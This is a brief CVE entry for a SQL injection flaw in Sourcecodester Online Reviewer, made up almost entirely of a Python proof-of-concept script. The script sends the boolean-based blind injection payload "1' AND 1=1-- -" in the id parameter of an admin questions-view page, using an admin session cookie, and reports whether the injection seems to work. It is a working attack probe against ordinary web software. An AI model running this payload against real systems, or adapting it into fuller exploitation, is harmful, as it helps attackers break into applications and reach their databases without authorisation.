CVE-2026-36920 Sourcecodester Online Reviewer SQL注入漏洞

import requests # Target URL configuration url = "http://target-ip/system/system/admins/assessments/examproper/questions-view.php" # Attacker needs a valid admin session cookie (High Privilege Required) cookies = { "PHPSESSID": "valid_admin_session_id" } # Vulnerable parameter (example: 'id' or 'question_id') # Payload to test for SQL Injection (e.g., boolean-based blind) payload_params = { "id": "1' AND 1=1-- -" } try: response = requests.get(url, params=payload_params, cookies=cookies, timeout=10) # Check if the application responds differently to the payload if "Error" not in response.text and response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") else: print("[-] Vulnerability not confirmed or WAF blocked.") except Exception as e: print(f"[!] Error during PoC execution: {e}")